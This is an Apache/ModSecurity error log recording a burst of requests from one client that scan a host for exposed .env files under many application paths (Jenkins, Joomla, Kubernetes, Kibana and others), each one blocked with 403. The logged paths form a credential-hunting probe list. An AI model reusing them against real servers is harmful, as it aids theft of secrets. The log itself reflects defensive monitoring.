[Mon Jul 28 20:46:12.022224 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/jenkins/.env&quot;] [unique_id &quot;aIfFdMc5NK034Azyi1-I8gAAAAA&quot;]
[Mon Jul 28 20:46:12.178611 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /joomla/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/joomla/.env&quot;] [unique_id &quot;aIfFdDL8UeZoGBgNh2MpcwAAAAY&quot;]
[Mon Jul 28 20:46:12.178893 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/joomla/.env&quot;] [unique_id &quot;aIfFdDL8UeZoGBgNh2MpcwAAAAY&quot;]
[Mon Jul 28 20:46:12.179110 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/joomla/.env&quot;] [unique_id &quot;aIfFdDL8UeZoGBgNh2MpcwAAAAY&quot;]
[Mon Jul 28 20:46:12.201175 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /js-plugin/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/js-plugin/.env&quot;] [unique_id &quot;aIfFdDL8UeZoGBgNh2MpdAAAAAY&quot;]
[Mon Jul 28 20:46:12.201447 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/js-plugin/.env&quot;] [unique_id &quot;aIfFdDL8UeZoGBgNh2MpdAAAAAY&quot;]
[Mon Jul 28 20:46:12.201644 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/js-plugin/.env&quot;] [unique_id &quot;aIfFdDL8UeZoGBgNh2MpdAAAAAY&quot;]
[Mon Jul 28 20:46:12.383680 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /jsrelay/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/jsrelay/.env&quot;] [unique_id &quot;aIfFdDL8UeZoGBgNh2MpfAAAAAY&quot;]
[Mon Jul 28 20:46:12.383863 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/jsrelay/.env&quot;] [unique_id &quot;aIfFdDL8UeZoGBgNh2MpfAAAAAY&quot;]
[Mon Jul 28 20:46:12.384023 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/jsrelay/.env&quot;] [unique_id &quot;aIfFdDL8UeZoGBgNh2MpfAAAAAY&quot;]
[Mon Jul 28 20:46:12.405807 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /jupyter/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/jupyter/.env&quot;] [unique_id &quot;aIfFdDL8UeZoGBgNh2MpfQAAAAY&quot;]
[Mon Jul 28 20:46:12.405990 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/jupyter/.env&quot;] [unique_id &quot;aIfFdDL8UeZoGBgNh2MpfQAAAAY&quot;]
[Mon Jul 28 20:46:12.406173 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/jupyter/.env&quot;] [unique_id &quot;aIfFdDL8UeZoGBgNh2MpfQAAAAY&quot;]
[Mon Jul 28 20:46:12.428336 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /khanlinks/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/khanlinks/.env&quot;] [unique_id &quot;aIfFdDL8UeZoGBgNh2MpfgAAAAY&quot;]
[Mon Jul 28 20:46:12.428546 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/khanlinks/.env&quot;] [unique_id &quot;aIfFdDL8UeZoGBgNh2MpfgAAAAY&quot;]
[Mon Jul 28 20:46:12.428729 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/khanlinks/.env&quot;] [unique_id &quot;aIfFdDL8UeZoGBgNh2MpfgAAAAY&quot;]
[Mon Jul 28 20:46:12.450557 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /kibana/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/kibana/.env&quot;] [unique_id &quot;aIfFdDL8UeZoGBgNh2MpfwAAAAY&quot;]
[Mon Jul 28 20:46:12.450753 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/kibana/.env&quot;] [unique_id &quot;aIfFdDL8UeZoGBgNh2MpfwAAAAY&quot;]
[Mon Jul 28 20:46:12.450931 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/kibana/.env&quot;] [unique_id &quot;aIfFdDL8UeZoGBgNh2MpfwAAAAY&quot;]
[Mon Jul 28 20:46:12.474072 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /kodenames-server/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/kodenames-server/.env&quot;] [unique_id &quot;aIfFdDL8UeZoGBgNh2MpgAAAAAY&quot;]
[Mon Jul 28 20:46:12.474291 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/kodenames-server/.env&quot;] [unique_id &quot;aIfFdDL8UeZoGBgNh2MpgAAAAAY&quot;]
[Mon Jul 28 20:46:12.474491 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/kodenames-server/.env&quot;] [unique_id &quot;aIfFdDL8UeZoGBgNh2MpgAAAAAY&quot;]
[Mon Jul 28 20:46:12.496416 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /kolab-syncroton/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/kolab-syncroton/.env&quot;] [unique_id &quot;aIfFdDL8UeZoGBgNh2MpgQAAAAY&quot;]
[Mon Jul 28 20:46:12.496635 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/kolab-syncroton/.env&quot;] [unique_id &quot;aIfFdDL8UeZoGBgNh2MpgQAAAAY&quot;]
[Mon Jul 28 20:46:12.496819 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/kolab-syncroton/.env&quot;] [unique_id &quot;aIfFdDL8UeZoGBgNh2MpgQAAAAY&quot;]
[Mon Jul 28 20:46:12.518686 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /kubernetes/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Kubernetes/.env&quot;] [unique_id &quot;aIfFdDL8UeZoGBgNh2MpggAAAAY&quot;]
[Mon Jul 28 20:46:12.518905 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Kubernetes/.env&quot;] [unique_id &quot;aIfFdDL8UeZoGBgNh2MpggAAAAY&quot;]
[Mon Jul 28 20:46:12.519069 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Kubernetes/.env&quot;] [unique_id &quot;aIfFdDL8UeZoGBgNh2MpggAAAAY&quot;]
[Mon Jul 28 20:46:12.540811 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /kubernetes/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/kubernetes/.env&quot;] [unique_id &quot;aIfFdDL8UeZoGBgNh2MpgwAAAAY&quot;]
[Mon Jul 28 20:46:12.541009 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/kubernetes/.env&quot;] [unique_id &quot;aIfFdDL8UeZoGBgNh2MpgwAAAAY&quot;]
[Mon Jul 28 20:46:12.541171 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/kubernetes/.env&quot;] [unique_id &quot;aIfFdDL8UeZoGBgNh2MpgwAAAAY&quot;]
[Mon Jul 28 20:46:12.590022 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /lab/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lab/.env&quot;] [unique_id &quot;aIfFdDL8UeZoGBgNh2MphQAAAAY&quot;]
[Mon Jul 28 20:46:12.590238 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lab/.env&quot;] [unique_id &quot;aIfFdDL8UeZoGBgNh2MphQAAAAY&quot;]
